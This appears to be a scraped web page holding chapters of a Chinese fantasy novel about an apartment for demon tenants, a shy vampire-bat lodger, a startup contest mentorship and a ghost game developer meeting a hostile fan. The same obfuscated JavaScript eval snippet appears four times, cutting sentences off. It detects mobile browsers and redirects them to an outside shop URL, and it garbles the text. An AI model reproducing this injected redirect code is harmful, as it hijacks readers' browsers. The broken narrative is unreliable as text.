[有在网上骂人的工夫，不如去现场做点实事，要么打赏捐款走一波。] [直播间不是被封禁了吗，怎么又放出来了？管理员呢？] [我在都心商城开密室逃脱，想请幽灵先生当下一期怪谈主题的NPC，有没有联系商务合作的渠道哇？] [哎呀想看莉莉跳舞了（口水），今天还有机会吗？] [贵族院目前还没有公布灾民的安置方案，只能靠附近这些好心人和志愿者了，希望房东多准备一些食物和水，如果有需要的话可以开一个捐助通道，愿尽绵薄之力。] [打赏了，房东加油，好人一生平安。] 文森特对人类的现代文字还不是很熟悉，面对飞快滚动的直播间评论，他每次都是还没认出半句，就立刻被新出现的评论给顶到了看不见的地方。 他一边直播老城区的重建过程，一边做一些瓦砾和垃圾的清扫工作，偶尔确认一下直播间的观众数字以及打赏情况。 虽然没有打赏感谢，也没有读评论的环节，但观众们的打赏热情却出乎意料地高，也许是注意到罗德里斯公寓在援建过程中不仅出了人，也出了不少钱。 那些除掉了“工资”之后被存放在乐飞账户里的钱大半都被拿来采购物资了，看着好不容易获得的集体收入就这么打了水漂，文森特原本还觉得有些心疼，但眼下打赏金额已经完全覆盖了采购支出，甚至还有很多盈余，他又觉得开心起来。 眼下正处于春夏之交，白天温度不低，加上大家都在努力干活，一个个都是汗流浃背，可一入夜，气温骤然下降，对那些只能露宿街头的受灾群众来说，毛毯是必不可少的东西。即使如此，体质虚弱的人仍会感到寒冷。 妮娜在一楼外墙广告版上贴着的卷叶草纸上多添了一句话： 特殊时期，欢迎有需要的市民（人类与魔族）临时入住，详情请咨询101室的斯特尔女士。 不知道是那些流落街头的遭难者对这种人类与魔物混住的环境心存顾虑，还是单纯开不了口，总之，消息张贴后的头一天，并没有生人拜访罗德里斯公寓。 等到第二天深夜——确切说是凌晨的时候，终于有人敲响了101室临街的那扇门。 那时候妮娜还没有入睡，正坐在书桌前计算最近各项收支的账单，房间的灯开得很亮。大概访客正是因为看到了灯光，所以才敢在这个时间点上门打扰。 妮娜开了门，差点没能在第一时间认出几乎和夜色融为一体的客人，直到眼睛适应了光线的变化，她才看到那个矮小的黢黑的身影。 从他与正常人类相去甚远的外貌可以判断，这是一位魔界生物。 “你好。”她先同他打了一个招呼。 竖在那颗又小又脏的脑袋上的耳朵轻轻地抖了一下，一个细微的声音从黑色的斗篷下面钻了出来：“你好，我想在这里暂住一段日子。” 妮娜将他请进了门，搬了张椅子让他坐下，“只住几天吗？如果没有合适的住处，你可以一直住在这里。整个神圣峡谷没有比这里性价比更高的公寓了。” “只让我住上几天就行。我有自己的事由。”来访者语气谨慎地说道。 总不能做强制买卖，既然客人这么说，房东当然不会强求，“没问题。可以让我做一个登记吗？” 那对毛茸茸的耳朵又抖动了一下。“好的。” 从这个明显的特征可以判断，他应该是一位兽人，但妮娜看不出那是什么动物的耳朵。 考虑到原形是鸟类的乌鸦都拥有正常人类的体型，而狼人克里斯又是那么高大威猛，这个身高只到妮娜腰际的小家伙应该有着相当袖珍的原形生物。 “名字。”“古斯塔夫。” “年龄。”“十七。” “十七岁……”妮娜在职业一栏填了一条斜线。 不知为何，来访客似乎松了一口气。 “种族。” “血族。”客人抖动着他的耳朵说道。 妮娜从屏幕前抬起了头：“血族？你看起来……并不像一位血族成员。”这种质疑显得有些失礼，但她不能因为顾虑礼仪而无视如此明显的问题。 “我是一只吸血蝙蝠。”古斯塔夫轻声说道，“是血族里面顶不起眼的一个次生种。” “噢——”妮娜发出了一声不明所以的感叹，“我还以为你一定是位兽人。我不知道血族里还有这样的分支。” 古斯塔夫应该已经对这种误会习以为常了：“嗯……毕竟吸血鬼才是血族的主流。” 他从斗篷下面伸出一只纤细的手，稍稍整理了一下挡在眼睛前面的那些散乱的头发。头发下面的那张脸既不全然像蝙蝠，也不完全像人类，眼球上看不见眼白的存在，他说话的时候，偶尔会露出两对尖牙。 “你会在这里住多久？” “比赛期间……” “什么？” “住到年底左右。” 妮娜对他的改口抱有一些怀疑—— 不过她很快就替古斯塔夫找好了借口：“我知道了，你是在网上看到了创业大赛的新闻之后才知道罗德里斯公寓的，也就是说，你不是前些天那场轰炸的受害者。” 至于这样一只看上去狼狈不堪的小蝙蝠是在哪里上的网，又是哪来的闲心去关注人类大学生的创业比赛，这就不在她的思考范围内了。 “你想住在一楼还是二楼，现在都有空房。” “二楼，我喜欢高一点的地方。” “二楼算不上高处，但确实比一楼高。对了，我得弄清楚，你有进食血液的需求吗？” 古斯塔夫又抖了抖他的耳朵：“不、不。我不会咬人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924297|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “噢……”妮娜伸出手，摸了摸他的额头：“你似乎一直在发抖，觉得冷吗，还是身体不舒服？” 掌心触碰到一片高温，然而古斯塔夫更像是被烫到的那一个，他猛地往后退去。 “你发烧了？我这儿有退烧药，我再去给你煮点热水。” “不，不。”古斯塔夫用力地摇动着他那颗乱糟糟毛茸茸的小脑袋，看起来就像一只长着翅膀的小狗，“蝙蝠的体温向来很高，吸血蝙蝠更是如此。” 妮娜意识自己的行为多有冒犯，有些抱歉地看着他：“我认识的血族体温很低。” 古斯塔夫在这个深夜搬进了罗德里斯公寓的203室，妮娜让恶魔城按其喜好创造了一个洞窟般的房间，在被带到自己的房间之后，他的身体颤抖得更加厉害了。 “既然不冷，为什么一直在发抖呢？” “没什么，我的身体就是这样。” 妮娜突然想到，发抖的原因未必全部都是寒冷，还有可能是因为恐惧，或是饥饿？ “希望你能在这里过上一段愉快的日子，明天我会让大家来跟你打个招呼，我相信你很快就会融入这里的。” “不，不。”古斯塔夫飞快地摇了摇头，“让我一个人静静地呆着，拜托，如果有什么住户间的集体活动也请不要管我。” 也许他是一只特别怕生的吸血蝙蝠。 “我不会让你为难的。”妮娜宽容地保证道。 …… 我不知道自己的所作所为是否正确。 阿加雷斯，当我决定要弥补你的时候，我不清楚我究竟背叛了什么。 如果我们两个交换一下立场，此时此刻，你又会如何选择？ ——《阿斯代伦的日记》 …… 按照规定好的赛程，今天是公布第二轮名单的日子。 能否进入第二轮比赛全凭第一轮时的排名，除了在截止时间时徘徊在红线前后的那几个项目，对大多数参赛选手来说，他们早就知道自己是否入选。 但妮娜还是在每日固定的更新时间之后登上比赛官网看了一眼。 项目确实毫不意外地顺利晋级，但令人在意的是后台信息图标上的红点。 “有一位导师对你的项目产生了兴趣，是否要接受ta的指导？” 在和阿斯代伦的第二次谈话结束之后，妮娜回到家中好好考虑了一番，认为他的建议非常中肯，她在七贵族面前几乎没有任何秘密可言，她人生的走向也在很大程度上被他们操控着，但她仍持有一张底牌。 不能让七贵族发现她已经明确了自己的身份这件事。她要在对方没有意识到的情况下，反过来利用这张底牌。 “接受。” 【项目已经与导师7号绑定，请与导师一起，让项目发展壮大，脱颖而出。你就是冉冉升起的未来之星。】 【导师7号已被添加为联系人，快来和ta聊聊吧。】 不知道导师的编号是如何确定的，如果这代表着ta在贵族院的席位——他们到底对罗德里斯公寓项目是重视还是不重视？ 39. 第 39 章 “导师7号，你好。”妮娜决定主动来当这个破冰者——以人类的身份来说，她当然要给贵族院足够的面子。 “太好了，我正想着要怎么跟你打招呼呢。”导师7号的语气比想象中要平易近人，看上去不像是高高在上又神秘莫测的七位贵族之一，反而像是一个刚离开学校不知所措的社会新人。 “可以告诉我你为什么会选择提携这个项目吗？” 妮娜为了获得贵族院的青眼，特意准备了一些保留节目，打算在第二轮中期大显身手，没想到比赛进入第二轮的首日，她就如愿以偿地获得了导师。 如果网络上关于这件事的猜测没错，这几乎等同于她已经获得了决赛圈的入场券。 “你还不明白第二轮的导师机制吧？所有进入第二轮的项目都会被随机分配给一名导师，最后根据导师评分和项目数据的综合分数决定进入第三轮的项目。我正在和自己手上每一个项目的负责人进行初步联络，了解项目概要。” 看来网络流言并不全对。只要是进入第二轮比赛的项目，都“相对平等”地拥有接受导师指导的机会。 “我想项目的基本情报和发展履历都已经公开在主页上了，你还需要了解哪些内容？” 蒂德莉看着屏幕上的文字，没有意识到自己叹了一口气。 绝对王权。 即使是通过网络和电波转化过的文字，依然不容抗拒。如果不是因为提前考虑到这一点，从而改变了导师安排的规则，她刚才很可能就会因为“命令”的效力而将一切和盘托出。 虽然妮娜·斯特尔对此一无所知——这正是令人感到可怕的地方。 “我想确认一下这个项目的亮点是什么。它现在看起来就像是一个套着廉租公寓名义、打着魔族噱头的直播团队，我看不到它长远发展的潜力。等到直播观众的新鲜劲一过去，项目的成绩就会立刻下降，难道你要靠不断寻找新租客来保持看点吗？可是你的公寓容纳量有限，而且你也很难确保一直有不同种族的房客入住。” 蒂德莉把这几天里想到的一些问题一股脑儿地抛到了对话框里，希望借此让对方感受到自己的诚意。 妮娜有些意外地看着屏幕上的文字。这段话看起来像是对罗德里斯公寓项目的质疑，但如果不是希望它发展得更好，对面完全没必要说这番语重心长的话。 长远发展的潜力——不仅是对这个创业项目来说，也对整个魔族的生存规划来说——这很重要。 “我希望——”她在键盘上敲击起来，“让每一位房客都成为能够在当今社会立足的个体，这不是一件容易的事，因为他们都是魔族。就现状而言，可以在网络上完成的工作对他们来说是最安全，也是性价比最高的。等日后有了更坚实的物质制度保障，我希望他们真正融入社会，和人类和谐相处。这需要你们的帮助。” “我们的帮助？” “制度层面的改变，是只有贵族院才能做到的吧？” 蒂德莉有些发愣：“你希望我们制定一些制度以保障魔族的利益？我不反对，但我人微言轻。” “您太谦虚了。我相信在贵族院的帮助下，这个项目将大有可为。” 真是野心勃勃的丫头。 蒂德莉对着屏幕沉吟起来。这时，另一个项目的负责人热情主动地和她套起了近乎。 “导师大人，你打算给予项目哪些方面的指导呢？” “会组织一些线下培训吗？” “我接下来想通过对自媒体更加充分的利用，扩大品牌和项目的影响力，你有没有什么关于这方面的课程或心得呢？” 蒂德莉将鼠标移到了项目负责人的介绍栏，看到了那个并不陌生的名字。 阿尔弗雷德·克雷斯，曾经向贵族院告发魔族基地的平民学生。 他发起的是一个名为地狱火的文创品牌，通过自媒体营销手段提升知名度是这类项目运作的常见手段。 她不自觉地皱了一下眉毛：“我会考虑安排的。” * 克鲁斯光线：[[图片]《暴雨之下》是我这辈子玩过的最好玩的游戏，我要让全世界都来玩！制作人简直是神仙，是圣灵下凡，是我的光，我精神体的衣食父母，我要吹爆制作人！我是制作人的狗！我要为制作人献上膝盖！献上我的钱包！献出我的心脏！我要和制作人结婚！呜呜呜呜！] 克鲁斯光线：[晦气，今天出门就看到一个魔鬼在街对面晃来晃去，把那家伙打了一顿，害得我上学迟到了。贵族院什么时候能管管啊，把这些游手好闲的家伙抓起来发射到天上去行不行？看着太碍眼了！] 潜入调查：[十分感谢您对《暴雨之下》的喜爱，目前游戏团队正在筹划DLC内容的制作，希望在此期间能与该游戏的深度用户进行访谈，以改进游戏存在的不足，为玩家提供更加优质的内容。不知道您是否愿意抽空参加将于本周末举行的线下玩家聚会，和制作团队一起畅所欲言？] 克鲁斯光线：[！！！！！！！！] 克鲁斯光线：[！！！！！！！！！！！！！！！！！！！！！！！！！！] 克鲁斯光线：[我不是在做梦吧！！！！居然是潜入调查大人！我要疯了！！！] 克鲁斯光线：[我去，我去，就算在外太空我也要飞过去！！！！] 潜入调查：[时间是周日下午一点（6月7日13:00），地点在老城区1401号，不见不散；）] 布莱克盯着屏幕上的对话框，两颗灰蓝色的眼珠子来来回回转了好几遍，他张大了嘴巴，明明没有发出一点声音，却还是赶紧用手将嘴捂住。 过了好一会儿，那捂住嘴的手掌下面才慢慢地传来啊的声音。 他又将屏幕上的文字好好看了一遍，仔仔细细地确认发信人真的是《暴雨之下》的制作人潜入调查，又仔仔细细地确认了见面的时间和地点——就在两天后，他就能见到让他无比崇敬和向往的偶像了！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924298|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>接着，他快乐地在地板上打起滚来。 网吧的管理员走近了他，揪住他的胳膊把他从地上拉了起来：“你这样会碍事的。” “可是我被潜入调查约见了！”布莱克说。 管理员面无表情地看着他，并不在意潜入调查是谁：“对了，你最好把这段时间的网费结算一下。” 一向推三阻四的布莱克难得没有表现出反抗的意志，被管理员推到了收银柜前。 “一共是一百二十卡什。” 布莱克从口袋里摸出一把纸币，先抽出数额最大的那张，“五十，二十，二十……一卡什、二卡什……” “还差十三卡什。” “我之后会还上的。”布莱克说着就要往回走。 管理员拉住他的后领：“把之前的帐结清了才能继续。”他看出布莱克身上没有更多钱了，如果放任他继续呆在这儿，他的赊账又会越积越多——谁知道他会不会突然换一家网吧，然后把在这儿欠下的钱都赖掉。 布莱克刚要破口大骂，但一想到两天后的约定，心情瞬间变得愉快起来，他意识到自己应该赶紧找个日结的工作，弄点钱，搞一套像样的衣服，理一理头发，然后以清爽干净的模样去见自己的偶像。他确实不能再在网吧里浪费时间了。 “好吧，我才不屑呆在这儿呢。”他对管理员说。 布莱克想起潜入调查给他的地址，那是一处对老城区来说也有些偏僻的地方。 由于前几天的轰炸事件，大半个老城区已经成了废墟，其中一部分化作工地，开启了重建的进程，他觉得自己应该去那里碰碰运气。 因为那副邋里邋遢的样子，他向来难以得到服务行业的兼职机会，工地是他最常选择的赚取零钱的地方，尤其是那些可以日结报酬的工程项目。 如果潜入调查也住在老城区的话……布莱克在前往目的地的途中不住幻想起来，能和偶像呼吸同一片空气总是让人雀跃不已，即使那是一片充满扬尘和灰粒的空气。 “你问这里的日结工作？早点来还有位置，现在有一批免费劳动力了，还用得着找花钱的那些吗？” “什么免费劳动力？怎么会有傻子愿意免费给工地干活？我可是学法律的，如果让我知道你们敢搞出什么违反劳动法的事情来，我会第一个把你们送上法庭。” 凭着过去的经验找到工头模样的人，打听了一下工作的行情，布莱克发现这里并不需要他。 工头扬了扬脑袋，用他锥子一般的胡子扎拉的下巴指了指某个方位：“你看那些家伙。” 布莱克顺着他指示的方向看去，看到了那些正在废墟之间忙忙碌碌的非人种族。 “法院可不会认为强迫魔物劳动是违法行为。”工头说，“更何况他们是自愿的。” 接着他又指了指工地上的一些大型机械说道：“还有，救灾重建工作是贵族院拨款支持的，他们派了好几台魔法具出来，总而言之，这里不缺收钱干活的人。” 40. 第 40 章 布莱克看到了那些不需要工人驾驶就能自动运行的吊车和铲车，还有那些在魔法阵上自动成型的小规模建筑，心里清楚在这里找工作的愿景恐怕是要落空了。 “该死的魔族，该死的魔法……真是要把人往绝处逼。” 工头将他上下打量了一番：“如果你想找个暂住的地方，可以去1402号看看，那里有一家出租公寓，正在收留无家可归的小可怜们，房租跟不要钱似的。” 听到“不要钱”，布莱克的眼睛一亮，不过很快又暗了下去：“世上哪有那么多馅饼，免费的东西往往都是陷阱。” 说起来，他会落到眼下这个境地，就是因为当初不知天高地厚地签了一个把条件说得很好的贷款合同。 工头心情不错，不介意和他多说几句，“那里本来是专门收留非人种族的地方，轰炸事件之后就开始开放人类留宿了，只是目前还没人愿意入住。” “那是当然啦，哪有人愿意住在一群魔物当中！”布莱克嘀咕道。 “至少也是一条后路。”工头说。 布莱克没有在工地上过多逗留，距离和潜入调查的约定只有两天，他总得把自己捯饬得能见人，所以没有多少时间浪费在注定不能产生经济效益的事情上。 可是在他离开之后，工地上的景象依然留存在他的脑海中。 天啊，连那些魔物都在诚实劳动，为社会贡献力量，而他却像一个活在人类世界中的亡魂——没有希望，也没有价值。 他在老城区逛了一天也没找到能够弄到点钱的办法，他从个位数的号牌一直走到1300左右就不敢再继续走下去了。 当他决定回到之前呆的那家网吧时，天色已经暗了下来，街头巷尾飘荡着陌生的食物香气，他这才发现自己的肚子已经饿了。他这一整天都没吃过饭，但是跌宕起伏的情绪变化让他暂时忘记了这回事。 他没法继续无视疯狂鸣叫的胃袋，也没法假装那种浑身无力的感觉不存在。 他看到街角那家小吃铺子的柜面上摆着刚刚做好的鸡蛋三明治，不禁吞了一口唾沫，可是他的钱已经全部交给网吧管理员了，身上一个子儿也没有。 一个大胆的想法在他脑海中成型。 盗窃。 对于一个穷困潦倒的人来说，这肯定不是什么稀罕事，何况他以前还亲眼见到过——一个个头很小的魔物偷窃食品摊位的商品最后还成功溜走的例子。 布莱克在那个街头站了很久，模拟了从各个方向接近，顺走最靠外那个三明治的场景，他觉得一切已经万无一失，他一定可以神不知鬼不觉地搞到那个三明治，犒慰一下自己可怜的肚子。 可最后他还是摇了摇头，怅然地离开了那个街角。他是一个有自尊和荣誉感的人，一个王国最顶尖高校的学生，即使落魄到这个地步，也有需要坚守的底线。 他可以像一个小混混那样醉生梦死地活着，但不能行违法犯罪之事。况且他是一个在五六年前还能让所有人艳羡一阵的法学生。 约定的时间来得比想象还要快很多，从得到邀请到前往赴约，期间的时光似乎一眨眼就消失了。 星期天的中午，太阳挂在中天，放射着毒辣的光芒，街头和巷尾呈现出极其鲜明的光暗对比。 布莱克终于跨越了两天前久久不敢跨越的界线，进入了老城区1300号之后的区域。当路牌上的数字不断变大，他的心情便愈发紧张起来。 现在他身上还是两天前那件已经很久没洗过的旧T恤，头发也比两天前更加杂乱，而他也可以想见自己眼睛底下的黑眼圈，还有像死尸一样泛白的嘴唇。 这样子真的可以去见潜入调查吗？ 1379,1381,1383……布莱克迷惘地看着那些刻着简单数字的金属片向后退去。时间是十二时三刻，位置是老城区1393号，他觉得自己像是一个发条走完的玩偶，再也没法往前一步了。 他像是被魔法定在了原地，不敢上前，也不舍得折返。一边是千载难逢的机会，一边是担心自己的狼狈会冒犯到自己的偶像，他觉得当初作出休学决定的时候都没有这么纠结过。 “请问——” 一个文质彬彬的声音从身后响了起来。 “是克鲁斯光线吗？” 布莱克像是被雷劈中一样，浑身僵直，他艰难地将头转向后方。那里站着一个穿着不合时宜的立领风衣的青年，带着一顶样式经典的圆形宽檐帽，踏着一双做工精细的长靴，身形高瘦，脸被一副墨镜遮着，浑身散发着一股温文尔雅的气质。 “潜、潜入调查老师？！” “我在1401没有看到人影，就在附近转了一圈，看来我的直觉很准。”风衣青年说道，“不过我想……在开始今天的正题之前，我最好要帮你处理一下伤口。” 布莱克情不自禁地流下两串眼泪，耳朵也因为极度的羞愧而开始泛红。 “我就住在这附近，房东是个很善良的人，我想她不会介意为伤者提供临时的休息处。”青年伸出一只戴着黑色皮手套的手，向路的前方指去，“就在那里。” 在被领进那栋建筑的正门时，布莱克看到墙壁上张贴的卷叶草纸，也看到了这栋公寓楼的名字： 罗德里斯公寓 在创作出一个爆款游戏前，大多独立游戏人都过得相当拮据，也许潜入调查就是那种为了心中的理想而节衣缩食不断努力的人，所以他会选择这样一所据说“几乎不要钱”的住所，在这里和一群可恶的魔物为邻——这是一种多么坚忍的精神。 在通过公寓一楼的走廊时，布莱克看到了一个奇怪的房间——从结构来看，那确实是一间独立的房间，可它竟没有一扇可以出入的房门——这或许也是某类魔物的生活癖性。 潜入调查不知从哪儿取来了急救箱，替布莱克进行了伤口的清洗和消毒，然后在有破口的地方贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924299|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两张颇具少女风格的卡通创可贴。 “你和人打架了吗？”在做这些事的时候，潜入调查自然而然地问道。 “被单方面地揍了，不过这事错在我，”布莱克难为情地低下了头，“我太饿了，可是没钱买东西……其实我也不清楚发生了什么，当我回过神来的时候，手里已经抓了一条面包，我刚打算下口，就被人按在地上打了一顿。我大概——偷了东西。” “似乎是我不该轻易评价的事，既然你心中有所判断，那就再好不过了。”潜入调查说。 布莱克盯着手臂上的那张贴纸，不由自主地脱口而出：“所以我才讨厌魔族。” “是他们将你伤成这样的？” “不……但我落到这个田地，和他们脱不开关系。先生，你知道吗？我连成为廉价劳动力的机会都被剥夺了。” “这不是他们的错。资本家和贵族院才该为此负责。” “先生，你不能这么说……总之，他们就是令人讨厌。” “嗯……”潜入调查抬起头来看了他一眼，“那你应该也会讨厌我。” “怎么可能呢？您为什么这么说？”布莱克颤抖了一下。伤口撞到了棉签，他嘶地皱起了眉。 潜入调查摘下了墨镜，露出那张半透明的脸：“因为我也是一个魔族。” 维克多满意地看到克鲁斯光线的脸上露出惊愕的表情——他对此早有预料，并因预料的成真而感到爽快。 “布莱克——不知道我可不可以这样叫你。”他说，“不知道你还是否愿意和我讨论有关《暴雨》的事。” 布莱克看到这个半透明的人从怀中抽出几张纸，纸上印着一些资料，具体是什么他并不了解，但他在上面看到了自己的照片——那是他在入学时传到教务系统上的那张证件照。 他唰地从椅子上站了起来，身后那张椅子因为这个动作而被推后了好几公分，并在和地板的摩擦过程中发出了尖锐的声音。 那双棕色的眼睛不安地晃动着，想从面前那个“人”的脸上多少看出一点色彩来——但那确实是一张灰色的，半透明的脸，那对眼睛里没有任何色彩。 “不！”他发出一个短促的声音，一把推开了幽灵，也不知道那种切实的触感究竟算什么。他觉得自己被整个世界欺骗了，黑心合同，学费贷款，上网费，日结工钱——过去的种种苦难不能说彻底摧垮了他，但眼下发生的事情就像是最后一根稻草。 “布莱克？” “不！别叫我！不！你这个骗子！”布莱克几乎是尖叫着从走廊上踉跄地跑过，然后在玄关推门而出。 101室的住户听到了大门撞响的声音，有些不满地从房间里探出脑袋：“我有没有说过要爱护公共财物。就算恶魔城法力无边，也不能这样折腾。” 维克多从客厅那边走了过来，检查了一下门把手，抱歉地对房东说道：“我没想到他会有那么大的反应。” 41. 第 41 章 “发生了什么？你带了客人回来？”妮娜眼尖地看到了维克多捏在手上的资料，“——布莱克·高宁，你怎么会认识他？” “您也认识他？”维克多露出惊讶的表情，不过很快就想明白了，“确实存在这种可能性，毕竟你们都是恩斯法内的学生，而且还是同届。” 妮娜点点头：“他是以文科第一的成绩入学的，大一的时候在我们那些新生中可是个名人，后来选了法学，再后来……就听说他休学了。你为什么会拿着他的档案？” “您别笑话我，我只是觉得如果有多几位人类协助者的话，我们的‘事业’发展会更顺利的，恩斯法内的法学高材生——日后应该大有可为。”维克多说。 “恩斯法内的经济学高材生，也不见得我能有什么建树。”妮娜指了指自己，“更何况一个中途休学的学生呢？” “您说的对，一个会因为偷窃食物挨打的人，居无定所的流浪汉，哪怕他是恩斯法内的学生，我也不该抱有太多期待。” “你说什么？我有些弄不明白，我们是在说布莱克·高宁的事对吧，那个和我同届的布莱克·高宁？你口中那个挨打的流浪汉又是谁？” “我可没有中途转换话题。布莱克如今处境不佳，正如我说的那样。” 妮娜从维克多手中抢过那叠资料翻看起来：“这是怎么回事？他在休学的这段时间里遇到了什么困难吗？” 维克多任由她审视着自己整理出来的文档，一边解释道：“布莱克的家庭并不富裕，或者说算是贫穷的那种。” “政府的助学贷款呢？” “问题就出在这儿，他大概是被人糊弄了，有人冒充政府的办事员，骗他签了一份贷款合同，他天真地以为那就是媒体上宣传过的助学贷款，结果跳进了诈骗团伙的陷阱。他不仅没能获得学费贷款，家里还因此欠了一大笔债。” “他可是一个法学生，难道就没想过用法律武器保护自己？别告诉我法律更愿意保护那个可恶的诈骗团伙。” “唔……我不清楚细节，但这当中应该确实存在什么问题，他试图为自己争取过权利，没有成功，于是就有些破罐破摔。我在网络上注意到他的时候，他已经是网吧的常驻人员了。” 妮娜看到了维克多截取的那几段布莱克针对魔族的仇恨发言：“我对布莱克的遭遇深表同情，但我不明白，你为什么要试图将一个憎恶魔族的人发展成协助者呢？” “他很喜欢我做的一个游戏，我以为他会以此为契机，慢慢放下对魔族的成见——小说不都是这么写的吗？”维克多的表情有些遗憾，“事实证明，不管活多久，天真的人总是有点天真。” 妮娜摸出手机，在浏览器的搜索框里输入“潜入调查”，并对搜索结果感到瞠目结舌：“你不仅是一个黑客，还是一个游戏制作人？！你还有什么身份是我不知道的？” “这不重要……我们的谈话主题是布莱克·高宁，不是维克多。” 妮娜抬起头来：“我可以玩玩吗？你做的游戏。” 在发售平台上，《暴雨之下》的销量说不上精彩，但也不至于惨淡。从更新记录和月销量来看，这款游戏已经发布几年了，最初几乎无人问津，但随着时间的推移，销售量出现稳定上涨的趋势——尤其是近两三年。 这是一款融合了多种要素的策略经营游戏，主人公白天扮演人类经营着一家杂货店，积累资源和人脉，而到了夜晚，摇身一变，化身藏匿身形的隐行者，从人群的杂谈或密语中获取都市情报，以调整白天的经营方针。 在隐行者状态下，玩家还可以和野鬼战斗，收集各种制作材料，可以惩恶扬善，让逃脱法网的恶人得到法外制裁…… 根据前期侧重不同，玩家能在游戏中期解锁不同的路线。 妮娜解锁的是经营路线，玩了一个通宵，把主人公从一个小小的杂货店主人培养成了富甲一方黑白通吃的企业家。 第二天，她顶着两个比以往更加深重的黑眼圈出现在走廊上，把维克多吓了一跳。 “再这样下去，您的身体就要变得和我一样透明了。” “哦……维克多，不，潜入调查大人，你显然是一位比我料想的还要有才能的幽灵。很有代入感和趣味性的游戏。”妮娜毫不吝啬夸奖。 “嗯哼，我很荣幸听您这么说。这几年它每个月都能给我带来一笔不小的收入。”维克多说，“不过说到代入感——” 妮娜打了一个哈欠，努力地抬起眼皮：“也许这就是布莱克为之着迷的原因。” “您觉得他代入了什么？” “还有什么，当然是游戏开篇那个在暴雨中失去了一切的主人公。” * 布莱克觉得，自从离开网吧之后，他所遭遇的一切都像是一场梦。 老城区那座正在重建的废墟像是末世游戏的一张地图，填不饱的肚子提示他源源不断流逝的HP值，猝不及防的暴打是因为不小心踩到了暗雷怪物。身上没有物资，没有本钱。 在收到恩斯法内大学的录取通知书时，他以为自己终于开始走上人生游戏的胜利道路，没想到现实很快就将他打下悬崖。 既然生活已经糟糕到了这个地步，为什么不立刻重开一局呢？ 他背靠着阴冷的墙壁，浑身虚脱，好像只要睡过去，就再也不会醒来一样——或者说，醒来，重启一个不一样的人生。 他缓缓地闭上眼睛，幻想自己正在退出游戏，并且没有存档。 不知过了多久，他慢慢恢复了意识，睁开眼睛，发现自己正躺在一张因为垫子质量不佳而显得有些潮湿的床上。 “圣灵保佑，你终于醒了。”一张熟悉的脸出现在头顶上方。 那种熟悉感只保留了一瞬间，布莱克很快就意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924300|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那是一个陌生人，只是脸部轮廓会让他想起母亲。 “这是哪儿，我怎么了？”布莱克仍觉得身上没多少力气。这有可能是天国，他想。 “这儿是市容修整所，你显然是因为损坏了王城的面貌才被送到这儿来的。”陌生女性答道，“贵族院不会希望王都的街道上出现饿死的尸体。” 她翻动着手中的资料：“布莱克·高宁，二十二岁，前年从恩斯法内大学的法学院休学，在社会上当了两年无业游民，居无定所，大多数时间在网吧混日子。如果我能考上恩斯法内大学，不管是什么专业，一定会有比现在更光辉的前途，孩子，你在浪费自己的生命。” “我无法否认。”布莱克仰头看着天花板，“但时代不同了，女士，恩斯法内大学的学历就像恶性通胀时的一整袋纸钞——看起来很多，但实际上和一张纸钞差不了多少，都不够买一顿晚饭。” 女性皱了皱眉：“你还如此年轻，怎么会这么悲观？” “一个差点饿死街头的人是很难学会乐观的。如果你愿意为我提供一点食物，我或许会觉得开心一些。”布莱克说。 女性露出了嫌弃的表情：“很遗憾看到我们的社会培养出你这样的小废物。十五分钟后会有人带你去食堂，希望你填饱肚子之后不要再做那些会给恩斯法内丢脸的事了。” 午餐正好是布莱克曾在街头垂涎过的鸡蛋三明治。 不过在街头出售的那种至少还夹着几片番茄和生菜，红绿搭配，显得更加诱人，他面前餐盘上的只是一片面包从中间折叠，里面夹着一张已经老了的煎蛋。 还有一杯寡淡到不可思议的牛奶，应该是用少量的奶粉就水冲泡出来的。 但不管怎么说，这些东西让他的饥饿多少得到了缓解。 